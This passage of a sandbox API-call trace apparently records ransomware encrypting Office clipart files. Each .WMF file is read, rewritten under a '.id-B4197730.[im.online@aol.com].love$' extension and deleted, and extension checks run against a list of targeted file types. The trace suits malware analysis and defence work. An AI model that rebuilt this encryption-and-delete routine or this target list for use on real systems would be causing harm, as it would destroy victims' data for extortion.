lpNewFilePointer=0x0) returned 1 [0272.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0272.519] GetLastError () returned 0x0 [0272.519] ReadFile (in: hFile=0x47c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x6978, lpOverlapped=0x0) returned 1 [0272.523] WriteFile (in: hFile=0x4ac, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x6980, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x6980, lpOverlapped=0x0) returned 1 [0272.524] ReadFile (in: hFile=0x47c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0272.525] WriteFile (in: hFile=0x4ac, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0272.525] SetEndOfFile (hFile=0x4ac) returned 1 [0272.525] CloseHandle (hObject=0x4ac) returned 1 [0272.525] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.525] SetEndOfFile (hFile=0x47c) returned 1 [0272.529] CloseHandle (hObject=0x47c) returned 1 [0272.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.530] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 1 [0272.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0272.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0272.818] lstrlenW (lpString=".doc") returned 4 [0272.818] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.818] lstrlenW (lpString=".docx") returned 5 [0272.819] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0272.819] lstrlenW (lpString=".pdf") returned 4 [0272.819] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.819] lstrlenW (lpString=".xls") returned 4 [0272.819] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.819] lstrlenW (lpString=".xlsx") returned 5 [0272.819] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0272.819] lstrlenW (lpString=".ppt") returned 4 [0272.819] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0272.819] lstrlenW (lpString=".zip") returned 4 [0272.819] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.819] lstrlenW (lpString=".rar") returned 4 [0272.819] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.819] lstrlenW (lpString=".bz2") returned 4 [0272.819] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.819] lstrlenW (lpString=".7z") returned 3 [0272.819] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0272.819] lstrlenW (lpString=".dbf") returned 4 [0272.819] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0272.819] lstrlenW (lpString=".1cd") returned 4 [0272.819] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0272.819] lstrlenW (lpString=".jpg") returned 4 [0272.819] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0272.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0272.820] lstrlenW (lpString=".doc") returned 4 [0272.820] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.820] lstrlenW (lpString=".docx") returned 5 [0272.820] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0272.820] lstrlenW (lpString=".pdf") returned 4 [0272.820] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.820] lstrlenW (lpString=".xls") returned 4 [0272.820] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.820] lstrlenW (lpString=".xlsx") returned 5 [0272.820] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0272.820] lstrlenW (lpString=".ppt") returned 4 [0272.820] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0272.820] lstrlenW (lpString=".zip") returned 4 [0272.820] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.820] lstrlenW (lpString=".rar") returned 4 [0272.820] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.820] lstrlenW (lpString=".bz2") returned 4 [0272.820] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.820] lstrlenW (lpString=".7z") returned 3 [0272.820] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0272.821] lstrlenW (lpString=".dbf") returned 4 [0272.821] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0272.821] lstrlenW (lpString=".1cd") returned 4 [0272.821] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0272.821] lstrlenW (lpString=".jpg") returned 4 [0272.821] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.821] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0272.821] lstrlenW (lpString="J0103058.WMF") returned 12 [0272.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0272.887] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=17344) returned 1 [0272.887] CloseHandle (hObject=0x418) returned 1 [0272.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 0x220 [0273.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0273.383] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.383] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0273.457] GetLastError () returned 0x0 [0273.457] ReadFile (in: hFile=0x42c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x43c0, lpOverlapped=0x0) returned 1 [0273.460] WriteFile (in: hFile=0x574, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x43d0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x43d0, lpOverlapped=0x0) returned 1 [0273.461] ReadFile (in: hFile=0x42c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.462] WriteFile (in: hFile=0x574, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.462] SetEndOfFile (hFile=0x574) returned 1 [0273.462] CloseHandle (hObject=0x574) returned 1 [0273.462] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.462] SetEndOfFile (hFile=0x42c) returned 1 [0273.466] CloseHandle (hObject=0x42c) returned 1 [0273.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.466] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 1 [0273.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0273.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0273.468] lstrlenW (lpString=".doc") returned 4 [0273.468] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.468] lstrlenW (lpString=".docx") returned 5 [0273.468] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0273.468] lstrlenW (lpString=".pdf") returned 4 [0273.468] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.468] lstrlenW (lpString=".xls") returned 4 [0273.468] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.468] lstrlenW (lpString=".xlsx") returned 5 [0273.468] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0273.468] lstrlenW (lpString=".ppt") returned 4 [0273.468] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0273.468] lstrlenW (lpString=".zip") returned 4 [0273.468] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.468] lstrlenW (lpString=".rar") returned 4 [0273.469] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.469] lstrlenW (lpString=".bz2") returned 4 [0273.469] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.469] lstrlenW (lpString=".7z") returned 3 [0273.469] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0273.469] lstrlenW (lpString=".dbf") returned 4 [0273.469] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0273.469] lstrlenW (lpString=".1cd") returned 4 [0273.469] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0273.469] lstrlenW (lpString=".jpg") returned 4 [0273.469] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0273.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0273.469] lstrlenW (lpString=".doc") returned 4 [0273.469] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.469] lstrlenW (lpString=".docx") returned 5 [0273.469] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0273.469] lstrlenW (lpString=".pdf") returned 4 [0273.469] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.469] lstrlenW (lpString=".xls") returned 4 [0273.469] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.469] lstrlenW (lpString=".xlsx") returned 5 [0273.469] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0273.469] lstrlenW (lpString=".ppt") returned 4 [0273.469] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0273.470] lstrlenW (lpString=".zip") returned 4 [0273.470] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.470] lstrlenW (lpString=".rar") returned 4 [0273.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.470] lstrlenW (lpString=".bz2") returned 4 [0273.470] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.470] lstrlenW (lpString=".7z") returned 3 [0273.470] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0273.470] lstrlenW (lpString=".dbf") returned 4 [0273.470] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0273.470] lstrlenW (lpString=".1cd") returned 4 [0273.470] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0273.470] lstrlenW (lpString=".jpg") returned 4 [0273.470] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.470] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0273.470] lstrlenW (lpString="J0105266.WMF") returned 12 [0273.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0273.473] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=5908) returned 1 [0273.473] CloseHandle (hObject=0x42c) returned 1 [0273.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 0x220 [0273.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0273.473] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.474] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0273.475] GetLastError () returned 0x0 [0273.475] ReadFile (in: hFile=0x42c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x1714, lpOverlapped=0x0) returned 1 [0273.478] WriteFile (in: hFile=0x574, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1720, lpOverlapped=0x0) returned 1 [0273.479] ReadFile (in: hFile=0x42c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.479] WriteFile (in: hFile=0x574, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.479] SetEndOfFile (hFile=0x574) returned 1 [0273.480] CloseHandle (hObject=0x574) returned 1 [0273.480] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.480] SetEndOfFile (hFile=0x42c) returned 1 [0273.483] CloseHandle (hObject=0x42c) returned 1 [0273.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.484] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 1 [0273.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0273.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0273.485] lstrlenW (lpString=".doc") returned 4 [0273.485] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.486] lstrlenW (lpString=".docx") returned 5 [0273.486] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0273.486] lstrlenW (lpString=".pdf") returned 4 [0273.486] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.486] lstrlenW (lpString=".xls") returned 4 [0273.486] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.486] lstrlenW (lpString=".xlsx") returned 5 [0273.486] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0273.486] lstrlenW (lpString=".ppt") returned 4 [0273.486] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0273.486] lstrlenW (lpString=".zip") returned 4 [0273.486] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.486] lstrlenW (lpString=".rar") returned 4 [0273.486] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.486] lstrlenW (lpString=".bz2") returned 4 [0273.486] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.486] lstrlenW (lpString=".7z") returned 3 [0273.486] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0273.486] lstrlenW (lpString=".dbf") returned 4 [0273.486] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0273.486] lstrlenW (lpString=".1cd") returned 4 [0273.486] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0273.486] lstrlenW (lpString=".jpg") returned 4 [0273.486] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0273.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0273.487] lstrlenW (lpString=".doc") returned 4 [0273.487] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.487] lstrlenW (lpString=".docx") returned 5 [0273.487] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0273.487] lstrlenW (lpString=".pdf") returned 4 [0273.487] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.487] lstrlenW (lpString=".xls") returned 4 [0273.487] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.487] lstrlenW (lpString=".xlsx") returned 5 [0273.487] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0273.487] lstrlenW (lpString=".ppt") returned 4 [0273.487] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0273.487] lstrlenW (lpString=".zip") returned 4 [0273.487] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.487] lstrlenW (lpString=".rar") returned 4 [0273.487] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.487] lstrlenW (lpString=".bz2") returned 4 [0273.487] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.487] lstrlenW (lpString=".7z") returned 3 [0273.487] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0273.487] lstrlenW (lpString=".dbf") returned 4 [0273.487] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0273.487] lstrlenW (lpString=".1cd") returned 4 [0273.487] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0273.487] lstrlenW (lpString=".jpg") returned 4 [0273.487] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.488] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0273.488] lstrlenW (lpString="J0105272.WMF") returned 12 [0273.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0273.489] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=17728) returned 1 [0273.489] CloseHandle (hObject=0x42c) returned 1 [0273.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 0x220 [0273.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0273.490] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.490] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0273.492] GetLastError () returned 0x0 [0273.492] ReadFile (in: hFile=0x42c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, 